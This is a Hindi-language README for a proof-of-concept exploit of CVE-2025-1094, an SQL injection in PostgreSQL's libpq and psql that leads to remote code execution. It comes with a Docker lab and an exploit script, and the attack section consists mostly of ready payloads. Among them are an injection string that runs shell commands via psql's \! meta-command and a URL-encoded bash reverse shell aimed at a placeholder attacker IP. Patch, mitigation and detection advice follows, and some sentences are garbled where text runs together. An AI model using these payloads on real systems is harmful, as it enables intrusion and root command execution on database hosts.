
CVE-2025-1094 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, PostgreSQL psql SQL इंजेक्शन भेद्यता जो क्राफ्टेड मल्टीबाइट बाइट अनुक्रमों के माध्यम से रिमोट कोड निष्पादन को सक्षम बनाती है। इसमें डॉकर-आधारित प्रयोगशाला वातावरण और स्वचालित एक्सप्लॉइट स्क्रिप्ट शामिल है।
प्रूफ ऑफ कॉन्सेप्ट PostgreSQL क्लाइंट libpq और psql टूल में गंभीर SQL इंजेक्शन भेद्यता के लिए
CVE-2025-1094 PostgreSQL के क्लाइंट लाइब्रेरी libpq और कमांड-लाइन टूल psql में एक गंभीर भेद्यता है। यह भेद्यता हमलावर को SQL इंजेक्शन करने और रिमोट कोड एक्जीक्यूशन (RCE) तक बढ़ाने की अनुमति देती है, भले ही एप्लिकेशन PQescapeLiteral जैसे मानक स्ट्रिंग एस्केप फ़ंक्शन का उपयोग कर रहा हो।
यह त्रुटि psql के स्ट्रिंग एस्केप लाइब्रेरी और पार्सर के बीच अमान्य मल्टीबाइट बाइट सीक्वेंस (जैसे UTF-8) को संभालने में असंगति से उत्पन्न होती है।
1. एस्केपिंग को बायपास करना
PQescapeLiteral फ़ंक्शन एक "नए बाइट" (जैसे 0xC0) से धोखा खा जाता है') को एक ही कैरेक्टर मान लेता है2. मेटा-कमांड के माध्यम से RCE
\! का उपयोग कर सकता हैप्रोजेक्ट को C libpq फ़ंक्शन को कॉल करते समय एक व्यावहारिक वातावरण का अनुकरण करने के लिए व्यवस्थित किया गया है:
.
├── docker-compose.yml # PostgreSQL + वेब ऐप प्रारंभ करें
├── exolit.py # एक्सप्लॉइट स्क्रिप्ट - बाहर से हमला
├── README.md # यह दस्तावेज़
└── app/
├── app.py # Flask वेब ऐप - यूजर इनपुट प्राप्त करें
├── Dockerfile # कमजोर कोड वाली इमेज बनाएं
└── init_db.sql # डेटाबेस प्रारंभ करें
/search एंडपॉइंट के माध्यम से यूजर से इनपुट प्राप्त करता है\! के माध्यम से सिस्टम कमांड निष्पादित करने की अनुमति देता हैhax\xc0'; \! id; #
1. यूजर इनपुट: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() \xc0 + ' को हमले के रूप में नहीं पहचानता
↓
3. स्ट्रिंग psql को भेजी गई: hax\xc0'; \! id; #
↓
4. psql पार्स करता है: \xc0 भाग को स्ट्रिंग का अंत माना जाता है
↓
5. मेटा-कमांड \! सक्रिय हो जाता है
↓
6. शेल कमांड id कंटेनर के विशेषाधिकारों के साथ निष्पादित होता है
docker-compose up -d
docker-compose ps
सुनिश्चित करें कि PostgreSQL और Flask ऐप दोनों चल रहे हैं।
python exolit.py
अपेक्षित परिणाम: सर्वर से प्राप्त uid=0(root) जानकारी प्रदर्शित होगी
docker-compose down
/search पर निम्नलिखित बॉडी के साथ एक POST अनुरोध भेजें:
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0 (अमान्य UTF-8 बाइट)%27 = ' (सिंगल कोट)%23 = # (हैश चिह्न)+ = spacehax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<hacker-ip>/<hacker-port>+0>%261"+;+%23
नोट: <hacker-ip> और <hacker-port> को अपने अटैकर मशीन के IP और पोर्ट से बदलें
PostgreSQL को पैच किए गए संस्करणों में अपग्रेड करें:
| संस्करण | सुरक्षित संस्करण |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
प्रसंस्करण से पहले हमेशा सत्यापित करें कि इनपुट डेटा मान्य UTF-8 है या नहीं:
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
एप्लिकेशन प्रोग्रामिंग में, आधिकारिक ड्राइवर लाइब्रेरी का उपयोग करें:
# ❌ नहीं: subprocess + psql का उपयोग करना
subprocess.run(['psql', '-c', user_input])
# ✅ हाँ: psycopg2 के साथ पैरामीटराइज्ड क्वेरी का उपयोग करना
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
root विशेषाधिकार के तहत न चलाएंroot विशेषाधिकार के तहत न चलाएंपैटर्न का पता लगाने के लिए नियम सेट करें:
- अनुरोध बॉडी में बाइट 0xC0, 0xC1
- यूजर इनपुट में मेटा-कमांड `\!`
- `; \!` या `' \!'` जैसे स्ट्रिंग
स्रोत कोड फ़ाइल का लिंक (पैच से पहले) आप संस्करण 17.2 (जिसमें अभी भी बग है) पर src/interfaces/libpq/fe-exec.c फ़ाइल देख सकते हैं:
"पैच" देखें (व्हाइट-बॉक्स के लिए सबसे महत्वपूर्ण) यह समझने के लिए कि उनसे गलती क्यों हुई और उन्होंने इसे कैसे ठीक किया, सबसे अच्छा तरीका कमिट डिफ (बग वाले और पैच वाले संस्करण के बीच का अंतर) देखना है।
भेद्यता विश्लेषण लेख: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/
| घटक | मान | अर्थ |
|---|
| डेटा इनपुट | hax | सामान्य साधारण डेटा |
| नया बाइट | \xc0 | अमान्य UTF-8 बाइट - एस्केपिंग को बायपास करता है |
| कोट | ' | सिंगल कोट "छिपकर" - फिल्टर से बच जाता है |
| SQL समाप्त | ; | वर्तमान SQL स्टेटमेंट समाप्त करता है |
| मेटा-कमांड | \! | psql का विशेष कमांड - OS शेल में बाहर निकलता है |
| शेल कमांड | id | निष्पादित करने का कमांड (रिवर्स शेल से बदला जा सकता है) |
| टिप्पणी | # | SQL टिप्पणी चिह्न - अतिरिक्त भाग को निष्क्रिय करता है |